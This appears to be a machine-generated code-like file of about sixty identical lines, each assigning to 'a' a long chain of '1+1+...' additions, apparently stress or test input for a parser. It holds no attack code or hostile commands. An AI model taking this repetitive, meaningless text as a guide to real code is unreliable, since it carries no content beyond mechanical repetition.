a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
